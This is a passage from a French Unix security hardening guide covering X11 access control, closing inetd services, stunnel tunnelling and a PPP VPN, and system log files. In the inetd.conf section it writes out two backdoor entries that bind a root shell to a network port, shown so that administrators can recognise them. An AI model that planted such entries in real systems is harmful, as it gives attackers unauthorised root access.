données si celle-ci est portée par un utilisateur légitime de la machine
serveur sshd (et client X11). Sur cette machine, il est parfaitement possible
d'écouter les données circulant entre le client et le serveur et, dans ce cas,
de compromettre la sécurité des informations visuelles manipulées par
l'application déportant son affichage.
Il reste cependant assez rare que
dans le cadre d'une utilisation courante (machines personnelles individuelles),
on autorise d'autre utilisateurs à se connecter à nos machines. Et même dans ce
cas, il s'agit habituellement d'utilisateurs qui sont à portée de main pour
d'éventuelles explications complémentaires concernant la sécurité d'un réseau.
En conclusion, même si vous prenez
toutes les précautions nécessaires pour déporter l'affichage d'une application,
vous serez obligé de faire des choix stratégiques quand aux applications à
utiliser et ce, en fonction de votre environnement. En sécurisant les
manipulations jusqu'à utiliser OpenSSH (ou d'autre méthode de tunneling), vous
ne vous débarrasserez pas du plus gros problème : les attaques depuis
l'intérieur de votre réseau ou de vos machines.
Paramètre pour la commande xauth :
-f
fichierauth
spécifie
le nom du fichier authority a utiliser.
Par défaut, xauth utilisera le
fichier définit dans la variable d'environnement XAUTHORITY ou .Xauthority dans le répertoire personnel de
l'utilisateur.
-q
empêche
l'affichage des messages de statut de xauth.
Ceci est l'option par défaut
lorsque xauth est utilise en mode
ligne de commande ou si la sortie standard n'est pas dirige sur un terminal.
-v
Mode verbeux. Ceci est le mode
par défaut lorsque xauth lit ses
commandes de l'entrée standard et que la sortie standard est dirigée vers un
terminal.
-i
Ignore tous les locks des
fichiers authority. Xauth empêche l'édition ou la lecture des fichier qui ont
été lockés par d'autres programmes.
-b
Enlève
tous les locks des fichiers authority avant son exécution
Dans les applications
- OpenWindows sans xdm
Le mécanisme de base est le même
que avec 'xauth', mais la clé est stockée ailleurs :
~/.xnews.display
La création de la clé
initiale ce fait avec :
/usr/openwin/lib/mkcookie
Cette méthode de démarrage d'un
serveur X est déconseillée, par le partage en mode écriture d'un même
périphérique (ici l'écran) par 2 drivers différents (en mode caractère, et en
mode bitmap) s'ignorant totalement, ne peux pas marcher longtemps.
- Xterm
L'application "xterm" permet de verrouiller temporairement
l'accès au serveur X (XGrabServer(3X)). Cette fonction s'appelle "Secure keyboard" dans le menu obtenu en
utilisant la touche contrôle, et le bouton de gauche.
À partir de ce moment aucune
application cliente ne pourra se connecter au serveur. Et des applications déjà
connectées, seule l'application "xterm"
ayant fait le "XGrabServer(3X)" pourra continuer à communiquer avec
le serveur.
Une méthode plus sympathique
consiste à définir une touche de fonction qui bascule ce mode, en ajoutant dans
son fichier /.Xresources
les lignes suivantes :
*VT100.Translations: #override\n\
<Key> F6: secure() \n\
\
/* attention à ne pas supprimer la ligne
ci-dessus */
Dans ce cas, avant toute
utilisation de commande nécessitant l'utilisation d'un mot de passe, comme
rlogin, telnet, ... on tapera "F6", et dès que l'authentification
sera terminée, on tapera a nouveau "F6". Attention, seul l'accès au
serveur X sera inhibé de cette façon, bien évidemment le mot de passe ainsi
protégé, circulera comme d'habitude en clair sur le réseau.
Cette méthode de verrouillage de
l'accès à un serveur X ne présente plus autant d'intérêt si le contrôle d'accès
par utilisateur est correctement utilisé, et que l'accès à "root" sur
les systèmes d'où peuvent avoir à se connecter des clients n'est pas compromis.
Option
pour sécuriser le clavier :
Beaucoup de mots de passes sont tapés dans des fenêtres xterm. il
est par conséquent crucial que l'utilisateur ait le contrôle total sur les
processus pouvant lire et écrire sur cet xterm. La permission pour un serveur X
d'envoyer des évènements a une fenêtre Xterm est définie au moment de la
compilation.
Par défaut, la valeur est 'false' ainsi toutes les requêtes
SendEvent provenant d'un serveur X pour une fenêtre xterm ne seront pas
traitées. Vous pouvez cependant passer outre ce paramètre grâce au fichier .Xdefaults
xterm*allowSendEvents True
Ou bien en sélectionnant les options concernées du menu principal
(Appuyer simultanément sur CTRL et le bouton gauche de la souris, cependant ce
n'est pas recommande).
Xterm permet d'empêcher les autres clients X de lire le clavier
grâce à la fonction XGrabKeyboard(). En effet, suite a cette fonction seulement
1 seul processus peut lire le clavier a la fois. Pour activer cette fonction
automatiquement, sélectionnez 'Secure Keyboard' dans le menu principal de XTerm
(appuyez simultanément sur CTRL et le bouton gauche de votre souris).
La couleur de fond de xterm doit
alors être inversée.
Il est a noter que certaines
version de Xterm contienne un trou de sécurité
qui permet aux utilisateurs de devenir root en exploitant les
liens symboliques vers le fichier passwd.
- Xlock
L'application "xlock"
permet de verrouiller de la même façon l'accès au serveur X, et de masquer
toutes les fenêtres en affichant au premier plan un économiseur d'écran. Le
serveur X ne sera débloqué que lorsque le mot de passe correct de l'utilisateur
aura été tapé.
On peut définir dans son fichier de
configuration de gestionnaire de fenêtres un raccourcis clavier permettant de
verrouiller facilement son serveur X. Par exemple avec "twm" on peut
ajouter la ligne suivante dans son fichier
/.twmrc :
"F6"
= m : all :
!"xlock &"
ce qui fait que la combinaison
"méta" et touche de fonction "F6" dans tout contexte (c'est
a dire n'importe où à l'écran) lancera "xlock".
Sur ma machine ?
netstat sait répondre. Il n'y a pas deux systèmes où cette commande prend les mêmes options.
Sous Unix, netstat -Af inet
a des chances de marcher sur les systèmes BSD-like.
Et sous Linux, netstat -a --inet
Sous Windows, netstat
-a
Sur la machine du voisin ?
Attention, ce genre
d'information s'obtient par un scan
et c'est interprété par moult sysadmins comme un acte agressif, voire un début
d'attaque.
Il existe des tas de port
scanners, mais les meilleurs sont indéniablement nessus et nmap.
Nota :
Il existe des programme "port watcher" qui ont pour fonction
de fermer vos ports, d'écouter ce qui passe dessus. Cela permet de savoir à tout moment si quelqu'un essaye de rentrer sur votre machine, , de scanner vos ports, de vous flooder, d'ouvrir une session ftp, ... De plus ils vous fournissent l'adresse ip de la station malintentionné.
Nukenabber est l'un des plus performant de ceux ci et est donc indispensable pour votre sécurité.
Fermeture des ports
Le
processus inetd, démon lancé au démarrage du système, est le père de nombreux
processus serveurs de la famille tcp/ip. Il utilise deux fichiers de
configuration "/etc/inetd.conf" et
"/etc/services". En plus des
services configurés, inetd inclut aussi des
services internes.
Fonctionnement
standard : Lors d'une demande de connexion TCP, inetd extrait le numéro de port
destination du message, il recherche le nom de service dans "/etc/services". En cas de succès, il crée un
processus (fork) et lance l'exécution du
binaire (exec) dont le chemin est spécifié
dans "/etc/inetd.conf". Les
messages qui suivent seront dirigés vers ce processus.
Modification
des fichiers de configuration : Quand un administrateur de machine modifie ses
fichiers de configuration, l'envoi du signal HUP
Hang Up vers inetd provoque la
relecture de ceux-ci. Ceci n'affectera pas les connexions en cours.
- /etc/inetd.conf
Il est
essentiel le fichier "inetd.conf"
ne soit pas accessibles en écriture aux utilisateurs.
Il ne
faut laisser dans le fichier inetd.conf que
les services nécessaires au fonctionnement normal. Les autres services peuvent
être invalidés en mettant la ligne en commentaire ( # ) ou bien en la
supprimant.
Le
principe est de n’activer que ce qui vous est réellement nécessaire (avez-vous
besoin du serveur Web, du serveur FTP, du serveur telnet ?). Il est à
noter que le fait de désactiver ftp, telnet ou autre ne signifie pas que vous
ne pourrez plus les utiliser en tant que client.
3003 stream tcp noway root
/bin/sh sh
La
ligne ci-dessus à pour effet d'affecter un shell avec les privilèges root aux
personnes se connectant sur le port 3003 du système. Pour cela, il suffit
d'initier une session telnet sur le port 3003.
celle qui suit
permet à un pirate d'obtenir un shell avec un UID 0 quand il le souhaite.
daytime stream tcp noway root /bin/ksh
ksh –i
Après
toute modification de ce fichier, il faut forcer le processus inetd courant à
relire sa configuration à l’aide de la commande :
killall -HUP inetd
il est
fortement recommandé de remplacer des programmes peu fiables comme
« telnet ou ftp » par leur équivalent utilisant un protocole sécurisé
comme openssh.
Pour
améliorer son fonctionnement vous pouvez utiliser le programme tcp_wrappers.
Les
TCP wrappers sont installés par défaut sur toutes les distributions Linux. Ils
permettent d'interdire certaines adresses IP pour certains services, et
également de signaler toutes les connexions effectuées à certains ports ; leurs
fichiers de configuration sont hosts.allow et hosts.deny. Tous les programmes
lancés par inetd bénéficient des TCP wrappers, et de nombreux autres (Samba,
SSH, etc.) peuvent soit être configurés pour lire également ces fichiers,
soient disposent de possibilités de filtrage et de rapport similaires (tels que
sendmail ou bien le démon NFS).
- /etc/services
Sous
linux, utiliser la commande chkconfig pour
désactiver certains services.
Supprimer les programmes dangereux ou connus pour être
vulnérables.
Les
remotes commandes telles que rsh, rlogin, rcp
seront avantageusement remplacées par SSH.
- Comment fermer un port ?
En ne l'ouvrant pas...
C'est-à-dire en ne lançant pas le programme qui écoute dessus. Éventuellement
en le bloquant via un filtre de paquets.
Mais qui écoute donc sur ce port ?
Si le port est standard ou connu, un coup d'œil sur les listes plus haut peu aider à identifier le coupable. Sinon :
sous Unix on peut jeter un oeil sur le contenu du fichier /etc/inetd.conf comme vu ci-dessus.
Ou utiliser fuser sur les Unix bien foutus comme Linux :
# fuser 25/tcp
25/tcp:
572
# ps ax | grep 572
572
? S 0:00 sendmail: accepting connections on port 25
5196
pts/2 S 0:00 grep 572
#
Étonnant, non ?
Ou bien utiliser lsof
# lsof | grep smtp
sendmail 572
root 4u IPv4
760 TCP *:smtp
(LISTEN)
#
Ou
bien encore, sous Linux : netstat
–p
- Protéger ses
canaux de communication.
Beaucoup de service communiquent en clair sur le réseau (pop,
ftp, telnet, etc.). afin de protéger ce genre de communication, il faut
détourner les canaux de communication classiques et les rediriger dans un
tunnel.
Ce genre de manipulation est exactement ce que permet de faire
un petit utilitaire :démon connu sous le nom de stunnel. celui-ci utilise
SSL afin de protéger les informations circulant dans le tunnel. Point
important , si vous travaillez avec un environnement hétérogène, stunnel
est disponible aussi bien pour les plates-formes Unix et win32.
Théorie :
Le
principe de fonctionnement d’un tunnel est relativement simple. Les données ne
circulent plus en clair à l’extérieur de la machine, comme c’est le cas
habituellement (en rouge sur le schéma). Plutôt que d’établir une connexion
depuis le client vers le serveur, le système se connectera au même port , mais
cette fois en local (en bleu). Stunnel protégera alors les données et les
renverra sur un port différent pour les faire transiter à l’extérieur de la
machine (en vert). Les données protégé »s seront reçues sur le serveur où
stunnel les transformera en données claires pour ensuite les rediriger vers le
bon port. Enfin, l ‘application serveur pourra les interpréter.
Comme
vous pouvez le voir, aucune information n’est « écoutable » sur le
réseau. Ce type de manipulation sécurisera d’une manière sûre des
communications comme celles entre un client et un serveur POP3 (réputée très
fragile). L’utilisateur mal intentionné ne percevra que du bruit en écoutant la
communication. Pire, s’il écoute spécifiquement le port utilisé habituellement
(110 dans le cas de POP3), il n’entendra rien du tout.
Utilisation :
Après
avoir récupéré la dernière version en date de stunnel, vous devrez vous assurer
d’avoir une bibliothèque SSL (comme OpenSSL par exemple) afin de pouvoir
compiler tout cela tranquillement3 ensuite, le triplet classique fera
l’affaire :
./configure
make
make install
Au
terme de la commande make, quelques informations complémentaires vous seront
demandées afin de générer votre fichier certificat. Notez également que, parmi les sources de stunnel, vous
pourrez trouver un binaire au format Win32.
Afin de
pouvoir vous en servir, vous devrez néanmoins récupérer une bibliothèque SSL au
format DLL (libssl32.dll et/ou libeay32.dll). votre certificat se trouvera
quand à lui dans le répertoire courant sous le nom stunnel.pem.
Nous
pouvons maintenant tenter notre première expérience.
Sur la
machine serveur où, par exemple, un serveur POP3 attend paisiblement des
requêtes lancez le démon stunnel comme suit :
stunnel –D 6 –f –p /chemin/stunnel.pem –d
14000 –r localhost:110
Par
cette commande, nous demandons à stunnel d’écouter le port 14000 (-d), de
décoder les informations qui en parviennent pour envoyer les information en
clair sur le port 110 de l’hôte local (-r). les options –D 6 et –f nous
permettent ici de demander respectivement un niveau de débogage 6 et un
fonctionnement de démon en avant-plan (foreground). L’option –p permet de
spécifier le nom et l’emplacement du fichier certificat. Toutes les données
arrivant sur le port 14000 sont donc censées être des communications SSL. Notre
serveur POP3 quant à lui aura l’impression que les requêtes proviennent de
l’hôte local (127.0.0.1 :110).
Sur la
machine cliente, il ne nous reste plus qu’a opérer la manipulation
inverse :
stunnel –D 6 –f –d 110 –r serveur :14000
ici,
toutes les communications sur le port 110 seront protégées et envoyés sur le
port 14000 du serveur. Notez que les options de débogage et de fonctionnement
en avant-plan ne sont là que pour des raisons de démonstration. Dans le cadre
d’une utilisation courante, vous pouvez vous en passer.
Dernière
étape, demandez à votre client mail d’utiliser non plus le serveur distant,
mais l’hôte local comme serveur POP3. attention, c ‘est une erreur
courante de pense que stunnel intercepte les sortie sur le port 110. ce n’est
bien sûr pas le cas et il faut bien comprendre que le démon stunnel fonctionne
sur le port 110 du client ; pour le MUA, le serveur POP3 est donc bel et
bien 127.0.0.1.
Un peu plus loin :
Avant
de poursuivre, précisons qu’il est
possible de « tunneler » n’importe quel port, les plus courants étant
http, smtp, nntp, imap, pop3, telnet et ftp. Ce fait est tellement courant
qu’une convention a été mise en place pour chiffrer et nommer ces ports :
service
port service port
http 80 https 443
smtp 25 smtps 465
nntp 119 nntps 563
telnet 23 telnets 23
imap 143 imaps 993
pop3 110 pop3s 995
ftp 21 ftps 990
Voici pour ce qui est de l’utilisation courante du tunneling.
Ajoutez
donc ces différentes valeur (de droite) à votre /etc/services.
Cela vous facilitera grandement les manipulations de ports. Notez cependant que
vous n’êtes absolument pas tenu d’utiliser ces noms et valeurs de port. Il ne
s’agit que d’une convention.
En
poussant le vice un peu plus loin avec stunnel, il est possible de créer un
VPN, c’est à dire un réseau dont les données seront protégées par SSL
« par-dessus » un réseau existant. c’est vicieux, mais cela
fonctionne parfaitement. En effet, rien ne vous empêche d’utiliser PPP dans un
tunnel pour établir une connexion permanente entre deux hôtes.
Configurer
serveur et client comme pour une connexion PPP classique par modem. N’oubliez
pas de préciser l’option noauth afin d’éviter d’avoir un message du type «peer
is not authorized to use remote address xxx.xxx.xxx.xxx»
sur le serveur .
Vous voici fin prêt à créer votre VPN.
Sur la machine serveur, lancez ceci :
stunnel –f –D 6
–f –d 5555 –L /usr/sbin/pppd
-- pppd local
Tout ce
qui arrive sur le port 5555 est traité par les routines SSL et envoyé à pppd.
Sur la partie cliente :
stunnel –f –D 6
–c –r serveur :5555 –L /usr/sbin/pppd
-- pppd local
Pas de
mystère, nous connaissons déjà ces commandes. Nous nous retrouvons, sur le
client, avec une nouvelle interface réseau qui est le point d’entrée du tunnel
SSL :
Ppp0 Link
encap :Point-to-Point Protocol
Inet
addr :192.168.10.2
P-t-P :192.168.10.1
Mask :255.255.255.255
UP
POINTTOPOINT RUNNING NOARP
MULTICAST MTU :1500 Metric :1
RX
packets :11 errors :0
dropped :0 overruns :0
frame :0
TX
packets :13 errors :0 dropped :0
Overruns :0
carrier :0
Collisions :0 txqueuelen :3
En
jetant un coup d’œil au log système, on se rend vite compte que la connexion ne
provient pas d’une ligne série classique (/dev/ttyp9) :
pppd[14569] : Using
interface ppp0
pppd[14569] :
Connect : ppp0 < -- >
/dev/ttyp9
pppd[14569] : Deflate
(15) compression enable
pppd[14569] : local IP
adress 192.168.10.2
pppd[14569] : remote
IP adress 192.168.10.1
Idem côté serveur où nous utilisons les PTY unix98 :
pppd[9421] : Using
interface ppp0
pppd[9421] :
Connect : ppp0 < -- >
/dev/pts/1
pppd[9421] : Deflate
(15) compression enable
pppd[9421] : local IP
adress 192.168.10.1
pppd[9421] : remote IP
adress 192.168.10.1
Le VPN
fonctionne parfaitement, nous pouvons même devenir parano au point de créer un
autre tunnel à l’intérieur du réseau 192.168.10.0 pour relever nos compte POP3,
au cas où des oreilles traîneraient à l’intérieur du VPN.
Finissons
en signalant que stunnel n’est pas la seule implémentation de tunneling
utilisant SSL. Un projet du nom de SSLwrap propose plus ou moins les mêmes
fonctionnalités.
- Terminaux sécurisés a voir
- /etc/ttyab ou /etc/ttys
Pour
autoriser un super utilisateur à se connecter à partir d'un terminal, il faut
ajouter dans ce fichier le mot clé "secure" à la fin de la ligne
d'identification du terminal.
Si
"secure" n'est pas mis à la fin de ligne d'identification du
terminal, un utilisateur étant super utilisateur peut se connecter sur un
compte ordinaire et ensuite devenir super utilisateur avec la commande
"su".
Surveillance du système
Pour
connaître la liste de tous les fichiers modifiés dans les 24 heures taper la
commande :
find / -mtime -1 \! -type d -print > ~/liste_du_jour
=> - mtime -1
=> Depuis 24 heures.
\ => Permet d'échapper à l'interprétation du shell. .
! => Opérateur de négation.
-type d => Type répertoire.
- Surveillance des comptes et
des connexions
Etre
attentif aux changements des fichiers présents dans /etc.
Des
utilitaires comme tripwire, oasis peuvent être utiles.
Tous
d'abord, il est possible de vérifier en temps réel quels sont les utilisateurs
connectés à votre machine et quelles actions il effectuent, grâce aux commandes
"w" et "who".
Par défaut, unix utilise le répertoire /var/log pour journaliser les événements du système. Les différents fichiers utilisés sont configurés dans /etc/syslog.conf. les versions récentes utilisent quatre fichiers séparés : messages, secure, maillog, et spooler.
- syslog
Avec syslog, on peut forcer n'importe quelle commandes à
envoyer des informations, ainsi que les messages d'erreurs, vers un fichier
traces tel que
/usr/adm/messages.
/var/log/messages :
récupère tout (copie des messages
écrits sur la console, des messages système écrits dans le tampon du journal
interne du du noyau, de tous les messages produits par les programmes qui
utilisent l’appel système syslog() tels que named , sendmail et login).
/var/log/secure :
Contient le rapport de tous les logins
(root, utilisateur, tentatives sues d’autres utilisateurs, tentatives de
connexion d’autres systèmes et les échecs de login root au niveau du
démon système).
/var/log/mailog :
Contient un enregistrement du trafic du
courrier entrant et sortant et du statut du serveur.
/var/log/spooler :
Contient les messages d’erreur des
démons uccp et serveur de news (innd).
Configuration de syslog
Étant donné que les messages logs ne sont pas tous d’égale importance, unix nous laisse la possibilité d’adapter le résultat du journal en fonction des besoins, on peut rediriger ou dupliquer les messages du système vers d’autres fichiers journaux afin d’établir des catégories selon leur importance ou sujet.
Le fichier /etc/syslog.conf nous permet de le faire. Une entrée dans ce fichier spécifie une facilité (catégorie liée au sous système qui la produit ), sa priorité et l’endroit où écrire les messages.
Les journaux peuvent écrits dans des périphériques tels que la console, dans des fichiers ordinaires et même dans des machines distantes.
Les fichiers log distants
La possibilité de journaliser dans une machine distante peut s’avérer une option judicieuse de sécurité. Elle présente au moins deux avantages :
Les fichiers logs sont regroupés sur une seule machine facilitant la surveillance des entrées au journal.
L’information est protégée si l’un des serveurs est compromis.
-utmp
Le fichier utmp enregistre qui
est connecté sur le moment au système.
Il se trouve généralement dans l'un de ces répertoires :
/etc - /var/run
Ce placer dans le répertoire et taper : who
utmp
- lastlog
Ce
fichier est une trace de la date de la dernière session établie par chaque
utilisateur.
Il se trouve généralement dans l'un de ces répertoires :
/usr/adm - /var/log
- /etc/security
Ce placer dans le répertoire et taper : view
lastlog
Chaque
ligne possède soit un + si l'utilisateur c'est loger ou un - si le login a
échoué..
- wtmp
Ce fichier enregistre les débuts et les fins de sessions de tous
les utilisateurs.
Il se trouve généralement dans l'un de ces répertoires :
/usr/adm - /var/log - /var/adm
Ce placer dans le répertoire et taper : who
wtmp
Pour isoler ce qui vous intéresse taper :
last wtmp username
last wtmp terminal
- sulog
Les su sont enregistres par syslogd BSD
ou dans le fichier /usr/adm/sulog.
Ce placer dans le répertoire et taper : view
sulog
- btmp
il se trouve généralement dans le répertoire /usr/adm
Ce placer dans le répertoire et taper : last
b
- acct (Accounting)
Le système d'accounting
(historique des programmes invoqués) est implémenté dans Linux. Il faut
normalement compiler le paquetage : acct-1.3.73.tar.gz
et suivre les instructions qui sont livrées avec.
Le
fichier acct enregistre toutes les commandes
exécutées et le user qui les à exécutées.
Il se trouve généralement dans le répertoire /var/adm
Ce placer dans le répertoire et taper :
lastcomm acct username
lastcomm acct username
Exemple :
# lastcomm | more
Command Flags User
Tty PagFlt Time Endtime
clear - merlin ttyp2 85
0.00 secs Tue Aug 6 13:26:07
in.identd
- root __ 100 0.00
secs Tue Aug 6 13:23:23
color-ls
- merlin ttyp2 121 0.01
secs Tue Aug 6 13:23:02
telnet - merlin ttyp2 142 2.77
secs Tue Aug 6 13:23:01
Pnews F merlin ttyp3 33 0.01 secs Tue Aug 6 13:22:15
sed - merlin ttyp3 132
0.02 secs Tue Aug 6 13:22:15
Pnews F merlin ttyp3 34
0.01 secs Tue Aug 6 13:22:15
sed - merlin ttyp3 145
0.02 secs Tue Aug 6 13:22:15
cat - merlin ttyp3
80 0.01 secs Tue Aug 6
13:22:13
Pnews F merlin ttyp3
29 0.00 secs Tue Aug 6
13:22:13
Il faut faire attention car ce système a tendance à prendre beaucoup de place. La solution pour résoudre ce problème est de lancer le système d'accounting de cette manière :
#!/bin/sh
# Lancement de l'accounting
accton /var/log/acct
accttrim -n 2000 /var/log/acct 2> /dev/null
- loginlog à voir
Il se trouve généralement dans le répertoire usr/adm/acct/sum.
Chaque
ligne possède soit un + si l'utilisateur c'est loger ou un - si le login a
échoué..
- shownmount
Elle
permet de voir toutes les machines qui ont montées quelque chose à partir d'un
serveur NFS.
Sans option elle donne simplement la liste des machines.
Avec l'option -a, elle vous
donne la liste des machines & des répertoires montés.
Avec l'option -d, elle affiche
les répertoires montés par une machine donnée.
En
clair si vous passez par un serveur NFS évitez de toucher aux fichiers. Y'a une
trace de vos pas.
Sauvegardes
Sauvegarder
tous les fichiers modifiés au cours de la semaine passé
$find / -mtime -7 type f -print >
~/liste_hebdo
mtime
-7 => Dans la semaine qui précède.
$tar -cv -T ~/liste_hebdo -f/dev/st0
T =>
Permet de spécifier le nom d'un fichier contenant la liste de ce que
nous
voulons archiver
Liens
http://www.ossirr.org Observatoire de la sécurité des systèmes d'information et des réseaux ()
http://www.cru.fr Comité réseau des universités ()
http://www.certa.ssi.gouv.fr Centre d'Expertise gouvernemental de Réponse et de Traitement des Attaques informatiques
http://www.cnrs.fr/Infosecu/accueil.html CNRS ()
http://www.guill.net La page des réseaux ()
www.linuxsecurity.com
www.linuxdoc.org/HOWTO/Security-HOWTO.html
www.bastille-linux.org/jay/security-article-jjb.html
www.hsc.fr/ressources/brevets
www.linuxfocus.fr
(magazine en ligne)
ftp://ftp.porcupine.org/pub/security
=> pour télécharger TCPWrapper
www.xinetd.org
www.insecure.org
pour nmap
www.nessus.org
site officiel de nessus
www.linuxsecurity.com
www.securityfocus.com
www.kitetoa.com
ce site fais dir papa maman à votre pc
www.tcpdump.org
www.ethereal.com